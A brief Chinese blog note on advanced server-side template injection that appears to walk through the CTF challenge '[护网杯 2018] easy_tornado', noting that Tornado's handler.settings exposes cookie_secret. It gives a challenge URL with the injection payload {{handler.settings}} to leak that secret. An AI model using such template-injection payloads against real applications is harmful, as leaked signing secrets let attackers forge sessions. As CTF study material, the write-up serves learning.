ssti注入进阶

1.[护网杯 2018]easy_tornado

tornado是用Python编写的Web服务器兼Web应用框架

Tornado框架的附属文件handler.settings中存在cookie_secret

http://e8d1f189-e498-4c03-9b0f-4eef7c6c671c.node3.buuoj.cn/error?msg={{handler.settings}}

你可能感兴趣的:(windows,android,oracle)